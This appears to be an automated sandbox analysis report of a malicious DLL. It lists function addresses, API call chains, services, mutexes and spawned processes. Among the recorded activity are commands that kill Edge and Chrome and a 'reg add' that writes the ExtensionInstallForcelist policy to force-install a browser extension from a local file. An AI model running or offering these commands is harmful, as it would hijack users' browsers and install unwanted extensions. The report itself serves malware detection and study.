Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F224D0	34_2_00000166D8F224D0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F7668C	34_2_00000166D8F7668C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F79680	34_2_00000166D8F79680
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F5564C	34_2_00000166D8F5564C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F505EC	34_2_00000166D8F505EC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F605E4	34_2_00000166D8F605E4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F425B8	34_2_00000166D8F425B8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F4676C	34_2_00000166D8F4676C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F3E758	34_2_00000166D8F3E758
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F8173C	34_2_00000166D8F8173C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F4C6C0	34_2_00000166D8F4C6C0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F71820	34_2_00000166D8F71820
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F217B0	34_2_00000166D8F217B0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F519A0	34_2_00000166D8F519A0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F76918	34_2_00000166D8F76918
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F57924	34_2_00000166D8F57924
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F628E4	34_2_00000166D8F628E4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F728CC	34_2_00000166D8F728CC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F6BA94	34_2_00000166D8F6BA94
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F79A6C	34_2_00000166D8F79A6C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F65A64	34_2_00000166D8F65A64
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F36A20	34_2_00000166D8F36A20
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F67B7C	34_2_00000166D8F67B7C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F3FB44	34_2_00000166D8F3FB44
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F2DB30	34_2_00000166D8F2DB30
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F21B00	34_2_00000166D8F21B00
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F5FABC	34_2_00000166D8F5FABC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F53C74	34_2_00000166D8F53C74
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F58BE8	34_2_00000166D8F58BE8
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E11B0	39_2_000001C9C66E11B0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E2B70	39_2_000001C9C66E2B70
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66EEB4C	39_2_000001C9C66EEB4C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F6B48	39_2_000001C9C66F6B48
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F8018	39_2_000001C9C66F8018
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E7020	39_2_000001C9C66E7020
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F0510	39_2_000001C9C66F0510
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E4D9C	39_2_000001C9C66E4D9C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E69F0	39_2_000001C9C66E69F0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E6240	39_2_000001C9C66E6240
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C858F0C0	39_2_000001C9C858F0C0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85851A0	39_2_000001C9C85851A0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8551217	39_2_000001C9C8551217
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C329C	39_2_000001C9C85C329C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C857D260	39_2_000001C9C857D260
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CB304	39_2_000001C9C85CB304
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85692D0	39_2_000001C9C85692D0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8567369	39_2_000001C9C8567369
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B1420	39_2_000001C9C85B1420
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C53B0	39_2_000001C9C85C53B0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85833E1	39_2_000001C9C85833E1
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85674F0	39_2_000001C9C85674F0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C3510	39_2_000001C9C85C3510
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85D358C	39_2_000001C9C85D358C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B9540	39_2_000001C9C85B9540
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85BB66C	39_2_000001C9C85BB66C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C7740	39_2_000001C9C85C7740
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C5880	39_2_000001C9C85C5880
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85DA8C8	39_2_000001C9C85DA8C8
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C855A974	39_2_000001C9C855A974
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CCA04	39_2_000001C9C85CCA04
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C853E9B0	39_2_000001C9C853E9B0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85769D0	39_2_000001C9C85769D0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85A2AA0	39_2_000001C9C85A2AA0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C856AAC0	39_2_000001C9C856AAC0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85D8B40	39_2_000001C9C85D8B40
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B2B30	39_2_000001C9C85B2B30
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C8CA8	39_2_000001C9C85C8CA8
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CAC90	39_2_000001C9C85CAC90
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B4DBC	39_2_000001C9C85B4DBC
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8568DE0	39_2_000001C9C8568DE0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85A6E40	39_2_000001C9C85A6E40
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C9058	39_2_000001C9C85C9058
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6148	39_2_000001C9C85E6148
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6138	39_2_000001C9C85E6138
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C853A228	39_2_000001C9C853A228
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C856A280	39_2_000001C9C856A280
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8538294	39_2_000001C9C8538294
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85BE238	39_2_000001C9C85BE238
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8594230	39_2_000001C9C8594230
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6308	39_2_000001C9C85E6308
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6328	39_2_000001C9C85E6328
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6320	39_2_000001C9C85E6320
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85D6318	39_2_000001C9C85D6318
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6310	39_2_000001C9C85E6310
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6340	39_2_000001C9C85E6340
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6338	39_2_000001C9C85E6338
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6330	39_2_000001C9C85E6330
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6360	39_2_000001C9C85E6360
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6358	39_2_000001C9C85E6358
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85563E0	39_2_000001C9C85563E0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8548460	39_2_000001C9C8548460
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C2514	39_2_000001C9C85C2514
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CC5A0	39_2_000001C9C85CC5A0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85BA610	39_2_000001C9C85BA610
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C4698	39_2_000001C9C85C4698
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8586660	39_2_000001C9C8586660
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C8728	39_2_000001C9C85C8728
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C07F4	39_2_000001C9C85C07F4
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C856A7D0	39_2_000001C9C856A7D0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C857FA75	39_2_000001C9C857FA75
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85D9A6C	39_2_000001C9C85D9A6C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CDADC	39_2_000001C9C85CDADC
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85AFB50	39_2_000001C9C85AFB50
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8539C28	39_2_000001C9C8539C28
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8567C98	39_2_000001C9C8567C98
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8537C40	39_2_000001C9C8537C40
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8569D70	39_2_000001C9C8569D70
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85D5D90	39_2_000001C9C85D5D90
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85A1D40	39_2_000001C9C85A1D40
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85BDDD8	39_2_000001C9C85BDDD8
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C856DE70	39_2_000001C9C856DE70
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8597FA0	39_2_000001C9C8597FA0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C853FF90	39_2_000001C9C853FF90
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8569F30	39_2_000001C9C8569F30
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85C9F5C	39_2_000001C9C85C9F5C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8565F50	39_2_000001C9C8565F50
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6088	39_2_000001C9C85E6088

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C85B4DBC appears 56 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00000166D8F3F85C appears 39 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C85802A0 appears 205 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C856B0A0 appears 46 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00000166D8F55AF8 appears 54 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C8585B60 appears 51 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C856DBB0 appears 51 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C85B2F8C appears 61 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C856DD30 appears 34 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 0000021BD978F85C appears 39 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C8580130 appears 293 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 0000021BD97A5AF8 appears 54 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000001C9C85B8760 appears 47 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 046B4DC0 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 045F4DC0 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 03464DC0 appears 37 times

Source: anuwhqTXGt.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32

Source: classification engine

Classification label: mal84.phis.evad.winDLL@83/48@7/4

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A1130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	6_2_046A1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E1130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	7_2_045E1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03451130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	15_2_03451130
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD978B040 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,	33_2_0000021BD978B040
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F3B040 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,	34_2_00000166D8F3B040
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8532F4C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,WTSEnumerateSessionsW,WTSFreeMemory,WTSQueryUserToken,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,DuplicateTokenEx,CloseHandle,CloseHandle,CreateEnvironmentBlock,CreateProcessAsUserW,CloseHandle,CloseHandle,DestroyEnvironmentBlock,DestroyEnvironmentBlock,CloseHandle,CloseHandle,CloseHandle,	39_2_000001C9C8532F4C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046A5887 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,lstrcpynW,lstrcpynW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,EnableWindow,

6_2_046A5887

Source: C:\Windows\System32\rundll32.exe	Code function: PathFileExistsW,OpenSCManagerW,CreateServiceW,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,	33_2_0000021BD9772DD0
Source: C:\Windows\System32\rundll32.exe	Code function: PathFileExistsW,OpenSCManagerW,CreateServiceW,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,	34_2_00000166D8F22DD0
Source: C:\Windows\System32\rundll32.exe	Code function: PathFileExistsW,OpenSCManagerW,CreateServiceW,GetLastError,CloseServiceHandle,ChangeServiceConfig2W,CloseServiceHandle,CloseServiceHandle,	39_2_000001C9C85318D8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046A4392 CoCreateInstance,

6_2_046A4392

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_6D4BB105 LoadResource,LockResource,SizeofResource,

6_2_6D4BB105

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9773160 OpenSCManagerA,OpenServiceW,QueryServiceStatusEx,StartServiceA,CloseServiceHandle,CloseServiceHandle,

33_2_0000021BD9773160

Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD978D9D0 StartServiceCtrlDispatcherW,	33_2_0000021BD978D9D0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F3D9D0 StartServiceCtrlDispatcherW,	34_2_00000166D8F3D9D0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8551D48 GetCommandLineW,CommandLineToArgvW,OpenEventW,CloseHandle,StartServiceCtrlDispatcherW,	39_2_000001C9C8551D48

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Program Files (x86)\Wimsys

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\Public\wss_tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\A6A161D8-150E-46A1-B7EC-18E4CB58C6D2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsvEFD9.tmp

Jump to behavior

Source: anuwhqTXGt.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1

Source: taskkill.exe, 00000011.00000002.1386001358.0000000003268000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")m ;;dZ

Source: anuwhqTXGt.dll

Virustotal: Detection: 11%

Source: rundll32.exe	String found in binary or memory: --install-run
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: --install-run
Source: rundll32.exe	String found in binary or memory: --install

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\anuwhqTXGt.dll,get
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",get
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2 /reg:32
